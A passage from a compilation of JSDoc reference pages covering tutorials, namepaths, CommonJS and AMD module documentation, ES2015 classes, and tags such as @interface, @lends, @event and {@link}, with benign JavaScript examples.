your API documentation, run JSDoc with the `--tutorials` or `-u` option, and provide a directory that JSDoc should search for tutorials. For example: ``` jsdoc -u path/to/tutorials path/to/js/files ``` JSDoc searches the tutorials directory for files with the following extensions: * `.htm` * `.html` * `.markdown` (converted from Markdown to HTML) * `.md` (converted from Markdown to HTML) * `.xhtml` * `.xml` (treated as HTML) JSDoc also searches for JSON files that contain information about the titles, ordering, and hierarchy of your tutorials, as discussed in the following section. JSDoc assigns an identifier to each tutorial. The identifier is the filename without its extension. For example, the identifier for `/path/to/tutorials/overview.md` is `overview`. In tutorial files, you can use the [`{@link}`](tags-inline-link) and [`{@tutorial}`](tags-inline-tutorial) inline tags to link to other parts of the documentation. JSDoc will automatically resolve the links. Configuring titles, order, and hierarchy ---------------------------------------- By default, JSDoc uses the filename as the tutorial's title, and all tutorials are at the same level. You can use a JSON file to provide a title for each tutorial and indicates how the tutorials should be sorted and grouped in the documentation. The JSON file must use the extension `.json`. In the JSON file, you can use the tutorial identifiers to provide two properties for each tutorial: * `title`: The title to display in the documentation. * `children`: The children of the tutorial. In JSDoc 3.2.0 and later, you can use the following formats for the JSON file: 1. A tree of objects, with child tutorials defined in the `children` property of their parent. For example, if `tutorial1` has two children, `childA` and `childB`, and `tutorial2` is at the same level as `tutorial1` and has no children: ``` { "tutorial1": { "title": "Tutorial One", "children": { "childA": { "title": "Child A" }, "childB": { "title": "Child B" } } }, "tutorial2": { "title": "Tutorial Two" } } ``` 2. A top-level object whose properties are all tutorial objects, with child tutorials listed by name in an array. For example, if `tutorial1` has two children, `childA` and `childB`, and `tutorial2` is at the same level as `tutorial1` and has no children: ``` { "tutorial1": { "title": "Tutorial One", "children": ["childA", "childB"] }, "tutorial2": { "title": "Tutorial Two" }, "childA": { "title": "Child A" }, "childB": { "title": "Child B" } } ``` You can also provide an individual `.json` file for each tutorial, using the tutorial identifier as the filename. This method is deprecated and should not be used for new projects. Linking to tutorials from API documentation ------------------------------------------- There are multiple ways to link to a tutorial from your API documentation: ### @tutorial block tag If you include a [`@tutorial` block tag](tags-tutorial) in a JSDoc comment, the generated documentation will include a link to the tutorial you specify. Using the `@tutorial` block tag ``` /** * Class representing a socket connection. * * @class * @tutorial socket-tutorial */ function Socket() {} ``` ### {@tutorial} inline tag You can also use the [`{@tutorial}` inline tag](tags-inline-tutorial) to link to a tutorial within the text of another tag. By default, JSDoc will use the tutorial's title as the link text. Using the `{@tutorial}` inline tag ``` /** * Class representing a socket connection. See {@tutorial socket-tutorial} * for an overview. * * @class */ function Socket() {} ``` jsdoc @interface @interface ========== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ With the JSDoc tag dictionary (enabled by default): `@interface [<name>]` With the [Closure Compiler](https://github.com/google/closure-compiler/wiki/Annotating-JavaScript-for-the-Closure-Compiler#jsdoc-tags) tag dictionary: `@interface` Overview -------- The `@interface` tag marks a symbol as an interface that other symbols can implement. For example, your code might define a parent class whose methods and properties are stubbed out. You can add the `@interface` tag to the parent class to indicate that child classes must implement the parent class' methods and properties. Add the `@interface` tag to the top-level symbol for the interface (for example, a constructor function). You do not need to add the `@interface` tag to each member of the interface (for example, the interface's instance methods). If you are using the JSDoc tag dictionary (enabled by default), you can also define an interface with virtual comments, rather than by writing code for the interface. See "[Virtual comments that define an interface](#virtual-comments)" for an example. Examples -------- In the following example, the `Color` function represents an interface that other classes can implement: Using the @interface tag ``` /** * Interface for classes that represent a color. * * @interface */ function Color() {} /** * Get the color as an array of red, green, and blue values, represented as * decimal numbers between 0 and 1. * * @returns {Array<number>} An array containing the red, green, and blue values, * in that order. */ Color.prototype.rgb = function() { throw new Error('not implemented'); }; ``` The following example uses virtual comments, rather than code, to define the `Color` interface: Virtual comments that define an interface ``` /** * Interface for classes that represent a color. * * @interface Color */ /** * Get the color as an array of red, green, and blue values, represented as * decimal numbers between 0 and 1. * * @function * @name Color#rgb * @returns {Array<number>} An array containing the red, green, and blue values, * in that order. */ ``` Related Links ------------- [@implements](tags-implements) jsdoc @member @member ======= Table of Contents ----------------- * [Synonyms](#synonyms) * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) Synonyms -------- `@var` Syntax ------ `@member [<type>] [<name>]` Overview -------- The @member tag identifies any member that does not have a more specialized kind, such as "class", "function", or "constant". A member can optionally have a type as well as a name. Examples -------- Using @member with Data#point ``` /** @class */ function Data() { /** @member {Object} */ this.point = {}; } ``` Here is an example of using @var, a synonym of @member, to document a (virtual) variable 'foo'. Using @var to document a virtual member ``` /** * A variable in the global namespace called 'foo'. * @var {number} foo */ ``` The above example is equivalent to the following: ``` /** * A variable in the global namespace called 'foo'. * @type {number} */ var foo; ``` jsdoc @lends @lends ====== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ `@lends <namepath>` Overview -------- The `@lends` tag allows you to document all the members of an object literal as if they were members of a symbol with the given name. You might want to do this if you are passing an object literal into a function that creates a named class from its members. Examples -------- In this example, we want to use a helper function to make a class named `Person`, along with instance methods named `initialize` and `say`. This is similar to how some popular frameworks handle class creation. Example class ``` // We want to document this as being a class var Person = makeClass( // We want to document these as being methods { initialize: function(name) { this.name = name; }, say: function(message) { return this.name + " says: " + message; } } ); ``` Without any comments, JSDoc won't recognize that this code creates a `Person` class with two methods. To document the methods, we must use a `@lends` tag in a doc comment immediately before the object literal. The `@lends` tag tells JSDoc that all the member names of that object literal are being "loaned" to a variable named `Person`. We must also add comments to each of the methods. The following example gets us closer to what we want: Documented as static methods ``` /** @class */ var Person = makeClass( /** @lends Person */ { /** * Create a `Person` instance. * @param {string} name - The person's name. */ initialize: function(name) { this.name = name; }, /** * Say something. * @param {string} message - The message to say. * @returns {string} The complete message. */ say: function(message) { return this.name + " says: " + message; } } ); ``` Now the functions named `initialize` and `say` will be documented, but they appear as static methods of the `Person` class. That is possibly what you meant, but in this case we want `initialize` and `say` to belong to the instances of the `Person` class. So we change things slightly by lending the methods to the class's prototype: Documented as instance methods ``` /** @class */ var Person = makeClass( /** @lends Person.prototype */ { /** * Create a `Person` instance. * @param {string} name - The person's name. */ initialize: function(name) { this.name = name; }, /** * Say something. * @param {string} message - The message to say. * @returns {string} The complete message. */ say: function(message) { return this.name + " says: " + message; } } ); ``` One final step: Our class framework uses the loaned `initialize` function to construct `Person` instances, but a `Person` instance does not have its own `initialize` method. The solution is to add the `@constructs` tag to the loaned function. Remember to remove the `@class` tag as well, or else two classes will be documented. Documented with a constructor ``` var Person = makeClass( /** @lends Person.prototype */ { /** * Create a `Person` instance. * @constructs * @param {string} name - The person's name. */ initialize: function(name) { this.name = name; }, /** * Say something. * @param {string} message - The message to say. * @returns {string} The complete message. */ say: function(message) { return this.name + " says: " + message; } } ); ``` Related Links ------------- * [@borrows](tags-borrows) * [@constructs](tags-constructs) jsdoc @constructs @constructs =========== Table of Contents ----------------- * [Overview](#overview) * [Syntax](#syntax) * [Examples](#examples) * [Related Links](#related-links) Overview -------- When using an object literal to define a class (for example with the `@lends` tag) the `@constructs` tag allows you to document that a particular function will be used to construct instances of that class. Syntax ------ `@constructs [<name>]` Examples -------- Using the @constructs tag with @lends ``` var Person = makeClass( /** @lends Person.prototype */ { /** @constructs */ initialize: function(name) { this.name = name; }, /** Describe me. */ say: function(message) { return this.name + " says: " + message; } } ); ``` Without @lends you must provide the name of the class ``` makeClass('Menu', /** * @constructs Menu * @param items */ function (items) { }, { /** @memberof Menu# */ show: function(){ } } ); ``` Related Links ------------- [@lends](tags-lends) jsdoc @listens @listens ======== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Example](#example) * [Related Links](#related-links) Syntax ------ `@listens <eventName>` Overview -------- The `@listens` tag indicates that a symbol listens for the specified event. Use the [`@event tag`](tags-event) to document the event's content. Example ------- The following example shows how to document an event named `module:hurler~event:snowball`, as well as a method named `module:playground/monitor.reportThrowage` that listens for the event. Documenting an event and its listener ``` define('hurler', [], function () { /** * Event reporting that a snowball has been hurled. * * @event module:hurler~snowball * @property {number} velocity - The snowball's velocity, in meters per second. */ /** * Snowball-hurling module. * * @module hurler */ var exports = { /** * Attack an innocent (or guilty) person with a snowball. * * @method * @fires module:hurler~snowball */ attack: function () { this.emit('snowball', { velocity: 10 }); } }; return exports; }); define('playground/monitor', [], function () { /** * Keeps an eye out for snowball-throwers. * * @module playground/monitor */ var exports = { /** * Report the throwing of a snowball. * * @method * @param {module:hurler~event:snowball} e - A snowball event. * @listens module:hurler~event:snowball */ reportThrowage: function (e) { this.log('snowball thrown: velocity ' + e.velocity); } }; return exports; }); ``` Related Links ------------- * [@event](tags-event) * [@fires](tags-fires) jsdoc Using namepaths with JSDoc 3 Using namepaths with JSDoc 3 ============================ Table of Contents ----------------- * [Namepaths in JSDoc 3](#namepaths-in-jsdoc-3) * [Related Links](#related-links) Namepaths in JSDoc 3 -------------------- When referring to a JavaScript variable that is elsewhere in your documentation, you must provide a unique identifier that maps to that variable. A namepath provides a way to do so and disambiguate between instance members, static members and inner variables. Basic Syntax Examples of Namepaths in JSDoc 3 ``` myFunction MyConstructor MyConstructor#instanceMember MyConstructor.staticMember MyConstructor~innerMember // note that JSDoc 2 uses a dash ``` The example below shows: an *instance* method named "say," an *inner* function also named "say," and a *static* method also named "say." These are three distinct methods that all exist independently of one another. Use a documentation tag to describe your code. ``` /** @constructor */ Person = function() { this.say = function() { return "I'm an instance."; } function say() { return "I'm inner."; } } Person.say = function() { return "I'm static."; } var p = new Person(); p.say(); // I'm an instance. Person.say(); // I'm static. // there is no way to directly access the inner function from here ``` You would use three different namepath syntaxes to refer to the three different methods: Use a documentation tag to describe your code. ``` Person#say // the instance method named "say." Person.say // the static method named "say." Person~say // the inner method named "say." ``` You might wonder why there is a syntax to refer to an inner method when that method isn't directly accessible from outside the function it is defined in. While that is true, and thus the "~" syntax is rarely used, it *is* possible to return a reference to an inner method from another method inside that container, so it is possible that some object elsewhere in your code might borrow an inner method. Note that if a constructor has an instance member that is also a constructor, you can simply chain the namepaths together to form a longer namepath: Use a documentation tag to describe your code. ``` /** @constructor */ Person = function() { /** @constructor */ this.Idea = function() { this.consider = function(){ return "hmmm"; } } } var p = new Person(); var i = new p.Idea(); i.consider(); ``` In this case, to refer to the method named "consider," you would use the following namepath: `Person#Idea#consider` This chaining can be used with any combination of the connecting symbols: `# . ~` Special cases: modules, externals and events. ``` /** A module. Its name is module:foo/bar. * @module foo/bar */ /** The built in string object. Its name is external:String. * @external String */ /** An event. Its name is module:foo/bar.event:MyEvent. * @event module:foo/bar.event:MyEvent */ ``` There are some special cases with namepaths: [@module](tags-module) names are prefixed by "module:", [@external](tags-external) names are prefixed by "external:", and [@event](tags-event) names are prefixed by "event:". Namepaths of objects with special characters in the name. ``` /** @namespace */ var chat = { /** * Refer to this by {@link chat."#channel"}. * @namespace */ "#channel": { /** * Refer to this by {@link chat."#channel".open}. * @type {boolean} * @defaultvalue */ open: true, /** * Internal quotes have to be escaped by backslash. This is * {@link chat."#channel"."say-\"hello\""}. */ 'say-"hello"': function (msg) {} } }; /** * Now we define an event in our {@link chat."#channel"} namespace. * @event chat."#channel"."op:announce-motd" */ ``` Above is an example of a namespace with "unusual" characters in its member names (the hash character, dashes, even quotes). To refer to these you just need quote the names: chat."#channel", chat."#channel"."op:announce-motd", and so on. Internal quotes in names should be escaped with backslashes: chat."#channel"."say-"hello"". Related Links ------------- * [Block and inline tags](about-block-inline-tags) * [{@link}](tags-inline-link)
programming_docs
jsdoc CommonJS Modules CommonJS Modules ================ Table of Contents ----------------- * [Overview](#overview) * [Module identifiers](#module-identifiers) * [Properties of the 'exports' object](#properties-of-the-exports-object) * [Values assigned to local variables](#values-assigned-to-local-variables) * [Values assigned to 'module.exports'](#values-assigned-to-moduleexports) + [Object literal assigned to 'module.exports'](#object-literal-assigned-to-moduleexports) + [Function assigned to 'module.exports'](#function-assigned-to-moduleexports) + [String, number, or boolean assigned to 'module.exports'](#string-number-or-boolean-assigned-to-moduleexports) * [Values assigned to 'module.exports' and local variables](#values-assigned-to-moduleexports-and-local-variables) * [Properties added to 'this'](#properties-added-to-this) * [Related Links](#related-links) Overview -------- To help you document [CommonJS modules](http://wiki.commonjs.org/wiki/Modules/1.1), JSDoc 3 understands many of the conventions used in the CommonJS specification (for example, adding properties to the `exports` object). In addition, JSDoc recognizes the conventions of [Node.js modules](http://nodejs.org/api/modules.html), which extend the CommonJS standard (for example, assigning a value to `module.exports`). Depending on the coding conventions you follow, you may need to provide some additional tags to help JSDoc understand your code. This page explains how to document CommonJS and Node.js modules that use several different coding conventions. If you're documenting Asynchronous Module Definition (AMD) modules (also known as "RequireJS modules"), see [AMD Modules](howto-amd-modules). Module identifiers ------------------ In most cases, your CommonJS or Node.js module should include a standalone JSDoc comment that contains a [`@module` tag](tags-module). The `@module` tag's value should be the module identifier that's passed to the `require()` function. For example, if users load the module by calling `require('my/shirt')`, your JSDoc comment would contain the tag `@module my/shirt`. If you use the `@module` tag without a value, JSDoc will try to guess the correct module identifier based on the filepath. When you use a JSDoc [namepath](about-namepaths) to refer to a module from another JSDoc comment, you must add the prefix `module:`. For example, if you want the documentation for the module `my/pants` to link to the module `my/shirt`, you could use the [`@see` tag](tags-see) to document `my/pants` as follows: ``` /** * Pants module. * @module my/pants * @see module:my/shirt */ ``` Similarly, the namepath for each member of the module will start with `module:`, followed by the module name. For example, if your `my/pants` module exports a `Jeans` constructor, and `Jeans` has an instance method named `hem`, the instance method's longname is `module:my/pants.Jeans#hem`. Properties of the 'exports' object ---------------------------------- It's easiest to document symbols that are directly assigned to a property of the `exports` object. JSDoc will automatically recognize that the module exports these symbols. In the following example, the `my/shirt` module exports the methods `button` and `unbutton`. JSDoc will automatically detect that the module exports these methods. Methods added to the exports object ``` /** * Shirt module. * @module my/shirt */ /** Button the shirt. */ exports.button = function() { // ... }; /** Unbutton the shirt. */ exports.unbutton = function() { // ... }; ``` Values assigned to local variables ---------------------------------- In some cases, an exported symbol may be assigned to a local variable before it's added to the `exports` object. For example, if your module exports a `wash` method, and the module itself often calls the `wash` method, you might write the module as follows: Method assigned to a local variable and added to the exports object ``` /** * Shirt module. * @module my/shirt */ /** Wash the shirt. */ var wash = exports.wash = function() { // ... }; ``` In this case, JSDoc will *not* automatically document `wash` as an exported method, because the JSDoc comment appears immediately before the local variable `wash` rather than `exports.wash`. One solution is to add an [`@alias` tag](tags-alias) that defines the correct longname for the method. In this case, the method is a static member of the module `my/shirt`, so the correct longname is `module:my/shirt.wash`: Longname defined in an @alias tag ``` /** * Shirt module. * @module my/shirt */ /** * Wash the shirt. * @alias module:my/shirt.wash */ var wash = exports.wash = function() { // ... }; ``` Another solution is to move the method's JSDoc comment so it comes immediately before `exports.wash`. This change allows JSDoc to detect that `wash` is exported by the module `my/shirt`: JSDoc comment immediately before exports.wash ``` /** * Shirt module. * @module my/shirt */ var wash = /** Wash the shirt. */ exports.wash = function() { // ... }; ``` Values assigned to 'module.exports' ----------------------------------- In a Node.js module, you can assign a value directly to `module.exports`. This section explains how to document different types of values when they are assigned to `module.exports`. ### Object literal assigned to 'module.exports' If a module assigns an object literal to `module.exports`. JSDoc automatically recognizes that the module exports only this value. In addition, JSDoc automatically sets the correct longname for each property: Object literal assigned to module.exports ``` /** * Color mixer. * @module color/mixer */ module.exports = { /** * Blend two colors together. * @param {string} color1 - The first color, in hexadecimal format. * @param {string} color2 - The second color, in hexadecimal format. * @return {string} The blended color. */ blend: function(color1, color2) { // ... }, /** * Darken a color by the given percentage. * @param {string} color - The color, in hexadecimal format. * @param {number} percent - The percentage, ranging from 0 to 100. * @return {string} The darkened color. */ darken: function(color, percent) { // .. } }; ``` You can also use this pattern if you add properties to `module.exports` outside of the object literal: Assignment to module.exports followed by property definition ``` /** * Color mixer. * @module color/mixer */ module.exports = { /** * Blend two colors together. * @param {string} color1 - The first color, in hexadecimal format. * @param {string} color2 - The second color, in hexadecimal format. * @return {string} The blended color. */ blend: function(color1, color2) { // ... } }; /** * Darken a color by the given percentage. * @param {string} color - The color, in hexadecimal format. * @param {number} percent - The percentage, ranging from 0 to 100. * @return {string} The darkened color. */ module.exports.darken = function(color, percent) { // .. }; ``` ### Function assigned to 'module.exports' If you assign a function to `module.exports`, JSDoc will automatically set the correct longname for the function: Function assigned to 'module.exports' ``` /** * Color mixer. * @module color/mixer */ /** * Blend two colors together. * @param {string} color1 - The first color, in hexadecimal format. * @param {string} color2 - The second color, in hexadecimal format. * @return {string} The blended color. */ module.exports = function(color1, color2) { // ... }; ``` The same pattern works for constructor functions: Constructor assigned to 'module.exports' ``` /** * Color mixer. * @module color/mixer */ /** Create a color mixer. */ module.exports = function ColorMixer() { // ... }; ``` ### String, number, or boolean assigned to 'module.exports' For value types (strings, numbers, and booleans) assigned to `module.exports`, you must document the exported value's type by using the [`@type` tag](tags-type) in the same JSDoc comment as the `@module` tag: String assigned to module.exports ``` /** * Module representing the word of the day. * @module wotd * @type {string} */ module.exports = 'perniciousness'; ``` Values assigned to 'module.exports' and local variables ------------------------------------------------------- If your module exports symbols that are not directly assigned to `module.exports`, you can use the [`@exports` tag](tags-exports) in place of the `@module` tag. The `@exports` tag tells JSDoc that a symbol represents the value exported by a module. Object literal assigned to a local variable and module.exports ``` /** * Color mixer. * @exports color/mixer */ var mixer = module.exports = { /** * Blend two colors together. * @param {string} color1 - The first color, in hexadecimal format. * @param {string} color2 - The second color, in hexadecimal format. * @return {string} The blended color. */ blend: function(color1, color2) { // ... } }; ``` Properties added to 'this' -------------------------- When a module adds a property to its `this` object, JSDoc 3 automatically recognizes that the new property is exported by the module: Properties added to a module's 'this' object ``` /** * Module for bookshelf-related utilities. * @module bookshelf */ /** * Create a new Book. * @class * @param {string} title - The title of the book. */ this.Book = function(title) { /** The title of the book. */ this.title = title; } ``` Related Links ------------- * [Using namepaths with JSDoc 3](about-namepaths) * [@exports](tags-exports) * [@module](tags-module) jsdoc @package @package ======== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ With the JSDoc tag dictionary (enabled by default): `@package` With the [Closure Compiler](https://github.com/google/closure-compiler/wiki/Annotating-JavaScript-for-the-Closure-Compiler#jsdoc-tags) tag dictionary: `@package [{typeExpression}]` Overview -------- The `@package` tag marks a symbol as package-private. Typically, this tag indicates that a symbol is available only to code in the same directory as the source file for this symbol. This tag is available in JSDoc 3.5.0 and later. By default, symbols marked with the `@package` tag will appear in your documentation. In JSDoc 3.3.0 and later, you can use the [`-a/--access` command-line option](about-commandline) to change this behavior. The `@package` tag is equivalent to `@access package`. Examples -------- In the following example, the instance member `Thingy#_bar` appears in the generated documentation, but with an annotation indicating that it is package-private: Using the @package tag ``` /** @constructor */ function Thingy() { /** @package */ this._bar = 1; } ``` Related Links ------------- * [@access](tags-access) * [@global](tags-global) * [@instance](tags-instance) * [@private](tags-private) * [@protected](tags-protected) * [@public](tags-public) * [@static](tags-static) jsdoc @implements @implements =========== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ `@implements {typeExpression}` Overview -------- The `@implements` tag indicates that a symbol implements an interface. Add the `@implements` tag to the top-level symbol that implements the interface (for example, a constructor function). You do not need to add the `@implements` tag to each member of the implementation (for example, the implementation's instance methods). If you do not document one of the symbols in the implementation, JSDoc will automatically use the interface's documentation for that symbol. Examples -------- In the following example, the `TransparentColor` class implements the `Color` interface and adds a `TransparentColor#rgba` method. Using the @implements tag ``` /** * Interface for classes that represent a color. * * @interface */ function Color() {} /** * Get the color as an array of red, green, and blue values, represented as * decimal numbers between 0 and 1. * * @returns {Array<number>} An array containing the red, green, and blue values, * in that order. */ Color.prototype.rgb = function() { throw new Error('not implemented'); }; /** * Class representing a color with transparency information. * * @class * @implements {Color} */ function TransparentColor() {} // inherits the documentation from `Color#rgb` TransparentColor.prototype.rgb = function() { // ... }; /** * Get the color as an array of red, green, blue, and alpha values, represented * as decimal numbers between 0 and 1. * * @returns {Array<number>} An array containing the red, green, blue, and alpha * values, in that order. */ TransparentColor.prototype.rgba = function() { // ... }; ``` Related Links ------------- [@interface](tags-interface) jsdoc @classdesc @classdesc ========== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ `@classdesc <some description>` Overview -------- The @classdesc tag is used to provide a description for a class, separate from the constructor function's description. Use the @classdesc tag in combination with the [@class (or @constructor) tag](tags-class). The functionality of the @classdesc tag in JSDoc 3 duplicates that of the @class in previous versions. As of version 3, the syntax and functionality of the @class tag now exactly matches the @constructor tag, and the @classdesc tag more explicitly communicates its purpose: to document a class's description. Examples -------- As shown below, a class has places for two descriptions, one applies to the function itself, while the other applies to the class in general. A doclet with both a constructor function description and a class description ``` /** * This is a description of the MyClass constructor function. * @class * @classdesc This is a description of the MyClass class. */ function MyClass() { } ``` Related Links ------------- * [@class](tags-class) * [@description](tags-description) jsdoc @todo @todo ===== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) Syntax ------ `@todo text describing thing to do.` Overview -------- The @todo tag allows you to document tasks to be completed for some part of your code. You can use the @todo tag more than once in a single JSDoc comment. Examples -------- Using the @todo tag ``` /** * @todo Write the documentation. * @todo Implement this function. */ function foo() { // write me } ``` jsdoc {@link} {@link} ======= Table of Contents ----------------- * [Synonyms](#synonyms) * [Syntax](#syntax) * [Overview](#overview) * [Link formatting](#link-formatting) * [Examples](#examples) * [Related Links](#related-links) Synonyms -------- * `{@linkcode}` * `{@linkplain}` Syntax ------ ``` {@link namepathOrURL} [link text]{@link namepathOrURL} {@link namepathOrURL|link text} {@link namepathOrURL link text (after the first space)} ``` Overview -------- The `{@link}` inline tag creates a link to the namepath or URL that you specify. When you use the `{@link}` tag, you can also provide link text, using one of several different formats. If you don't provide any link text, JSDoc uses the namepath or URL as the link text. If you need to link to a tutorial, use the [`{@tutorial}` inline tag](tags-inline-tutorial) instead of the `{@link}` tag. Link formatting --------------- By default, `{@link}` generates standard HTML anchor tags. However, you may prefer to render certain links in a monospace font, or to specify the format of individual links. You can use the following synonyms for the `{@link}` tag to control the formatting of links: * `{@linkcode}`: Forces the link's text to use a monospace font. * `{@linkplain}`: Forces the link's text to appear as normal text, without a monospace font. You can also set one of the following options in JSDoc's configuration file; see [Configuring JSDoc](about-configuring-jsdoc) for more details: * `templates.cleverLinks`: When set to `true`, links to URLs use normal text, and links to code use a monospace font. * `templates.monospaceLinks`: When set to `true`, all links use a monospace font, except for links created with the `{@linkplain}` tag. **Note**: Although the default JSDoc template renders all of these tags correctly, other templates may not recognize the `{@linkcode}` and `{@linkplain}` tags. In addition, other templates may ignore the configuration options for link rendering. Examples -------- The following example shows all of the ways to provide link text for the `{@link}` tag: Providing link text ``` /** * See {@link MyClass} and [MyClass's foo property]{@link MyClass#foo}. * Also, check out {@link http://www.google.com|Google} and * {@link https://github.com GitHub}. */ function myFunction() {} ``` By default, the example above produces output similar to the following: Output for {@link} tags ``` See <a href="MyClass.html">MyClass</a> and <a href="MyClass.html#foo">MyClass's foo property</a>. Also, check out <a href="http://www.google.com">Google</a> and <a href="https://github.com">GitHub</a>. ``` If the configuration property `templates.cleverLinks` were set to `true`, the example above would produce the following output: Output with clever links enabled ``` See <a href="MyClass.html"><code>MyClass</code></a> and <a href="MyClass.html#foo"> <code>MyClass's foo property</code></a>. Also, check out <a href="http://www.google.com">Google</a> and <a href="https://github.com">GitHub</a>. ``` Related Links ------------- * [Configuring JSDoc with a configuration file](about-configuring-jsdoc) * [Using namepaths with JSDoc 3](about-namepaths) jsdoc @event @event ====== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ `@event <className>#[event:]<eventName>` Overview -------- The @event tag allows you to document an event that can be fired. A typical event is represented by an object with a defined set of properties. Once you have used the @event tag to define a specific type of event, you can use the @fires tag to indicate that a method can fire that event. You can also use the @listens tag to indicate that a symbol listens for the event. JSDoc automatically prepends the namespace `event:` to each event's name. In general, you must include this namespace when you link to the event in another doclet. (The @fires tag is a notable exception; it allows you to omit the namespace.) **Note**: JSDoc 3 uses @event doclets to document the content of an event. In contrast, JSDoc Toolkit 2 used @event doclets to identify a function that can be fired when an event of the same name occurs. Examples -------- The following examples show how to document an event in the `Hurl` class called `snowball`. The event contains an object with a single property. Documenting a function call as an event ``` /** * Throw a snowball. * * @fires Hurl#snowball */ Hurl.prototype.snowball = function() { /** * Snowball event. * * @event Hurl#snowball * @type {object} * @property {boolean} isPacked - Indicates whether the snowball is tightly packed. */ this.emit('snowball', { isPacked: this._snowball.isPacked }); }; ``` Using a named doclet to document an event ``` /** * Throw a snowball. * * @fires Hurl#snowball */ Hurl.prototype.snowball = function() { // ... }; /** * Snowball event. * * @event Hurl#snowball * @type {object} * @property {boolean} isPacked - Indicates whether the snowball is tightly packed. */ ``` Related Links ------------- * [@fires](tags-fires) * [@listens](tags-listens)
programming_docs
jsdoc ES 2015 Classes ES 2015 Classes =============== Table of Contents ----------------- * [Documenting a simple class](#documenting-a-simple-class) * [Extending classes](#extending-classes) * [Related Links](#related-links) JSDoc 3 makes it easy to document classes that follow the [ECMAScript 2015 specification](http://www.ecma-international.org/ecma-262/6.0/#sec-class-definitions). You don't need to use tags such as `@class` and `@constructor` with ES 2015 classes—JSDoc automatically identifies classes and their constructors simply by parsing your code. ES 2015 classes are supported in JSDoc 3.4.0 and later. Documenting a simple class -------------------------- The following example shows how to document a simple class with a constructor, two instance methods, and one static method: Simple ES 2015 class ``` /** Class representing a point. */ class Point { /** * Create a point. * @param {number} x - The x value. * @param {number} y - The y value. */ constructor(x, y) { // ... } /** * Get the x value. * @return {number} The x value. */ getX() { // ... } /** * Get the y value. * @return {number} The y value. */ getY() { // ... } /** * Convert a string containing two comma-separated numbers into a point. * @param {string} str - The string containing two comma-separated numbers. * @return {Point} A Point object. */ static fromString(str) { // ... } } ``` You can also document classes that are defined in a class expression, which assigns the class to a variable or constant: ES 2015 class expression ``` /** Class representing a point. */ const Point = class { // and so on } ``` Extending classes ----------------- When you use the `extends` keyword to extend an existing class, you also need to tell JSDoc which class you're extending. You do this with the [`@augments` (or `@extends`) tag](tags-augments). For example, to extend the `Point` class shown above: Extending an ES 2015 class ``` /** * Class representing a dot. * @extends Point */ class Dot extends Point { /** * Create a dot. * @param {number} x - The x value. * @param {number} y - The y value. * @param {number} width - The width of the dot, in pixels. */ constructor(x, y, width) { // ... } /** * Get the dot's width. * @return {number} The dot's width, in pixels. */ getWidth() { // ... } } ``` Related Links ------------- [@augments](tags-augments) jsdoc AMD Modules AMD Modules =========== Table of Contents ----------------- * [Overview](#overview) * [Module identifiers](#module-identifiers) * [Function that returns an object literal](#function-that-returns-an-object-literal) * [Function that returns another function](#function-that-returns-another-function) * [Module declared in a return statement](#module-declared-in-a-return-statement) * [Module object passed to a function](#module-object-passed-to-a-function) * [Multiple modules defined in one file](#multiple-modules-defined-in-one-file) * [Related Links](#related-links) Overview -------- JSDoc 3 makes it possible to document modules that use the [Asynchronous Module Definition (AMD) API](https://github.com/amdjs/amdjs-api/blob/master/AMD.md), which is implemented by libraries such as [RequireJS](http://requirejs.org/). This page explains how to document an AMD module for JSDoc, based on the coding conventions that your module uses. If you're documenting CommonJS or Node.js modules, see [CommonJS Modules](howto-commonjs-modules) for instructions. Module identifiers ------------------ When you document an AMD module, you'll use an [`@exports` tag](tags-exports) or [`@module` tag](tags-module) to document the identifier that's passed to the `require()` function. For example, if users load the module by calling `require('my/shirt', /* callback */)`, you'll write a JSDoc comment that contains the tag `@exports my/shirt` or `@module my/shirt`. The examples below can help you decide which of these tags to use. If you use the `@exports` or `@module` tag without a value, JSDoc will try to guess the correct module identifier based on the filepath. When you use a JSDoc [namepath](about-namepaths) to refer to a module from another JSDoc comment, you must add the prefix `module:`. For example, if you want the documentation for the module `my/pants` to link to the module `my/shirt`, you could use the [`@see` tag](tags-see) to document `my/pants` as follows: ``` /** * Pants module. * @module my/pants * @see module:my/shirt */ ``` Similarly, the namepath for each member of the module will start with `module:`, followed by the module name. For example, if your `my/pants` module exports a `Jeans` constructor, and `Jeans` has an instance method named `hem`, the instance method's longname is `module:my/pants.Jeans#hem`. Function that returns an object literal --------------------------------------- If you define your AMD module as a function that returns an object literal, use the [`@exports` tag](tags-exports) to document the module's name. JSDoc will automatically detect that the object's properties are members of the module. Function that returns an object literal ``` define('my/shirt', function() { /** * A module representing a shirt. * @exports my/shirt */ var shirt = { /** The module's `color` property. */ color: 'black', /** * Create a new Turtleneck. * @class * @param {string} size - The size (`XS`, `S`, `M`, `L`, `XL`, or `XXL`). */ Turtleneck: function(size) { /** The class's `size` property. */ this.size = size; } }; return shirt; }); ``` Function that returns another function -------------------------------------- If you define your module as a function that exports another function, such as a constructor, you can use a standalone comment with a [`@module` tag](tags-module) to document the module. You can then use an [`@alias` tag](tags-alias) to tell JSDoc that the function uses the same longname as the module. Function that returns a constructor ``` /** * A module representing a jacket. * @module my/jacket */ define('my/jacket', function() { /** * Create a new jacket. * @class * @alias module:my/jacket */ var Jacket = function() { // ... }; /** Zip up the jacket. */ Jacket.prototype.zip = function() { // ... }; return Jacket; }); ``` Module declared in a return statement ------------------------------------- If you declare your module object in a function's `return` statement, you can use a standalone comment with a [`@module` tag](tags-module) to document the module. You can then add an [`@alias` tag](tags-alias) to tell JSDoc that the module object has the same longname as the module. Module declared in a return statement ``` /** * Module representing a shirt. * @module my/shirt */ define('my/shirt', function() { // Do setup work here. return /** @alias module:my/shirt */ { /** Color. */ color: 'black', /** Size. */ size: 'unisize' }; }); ``` Module object 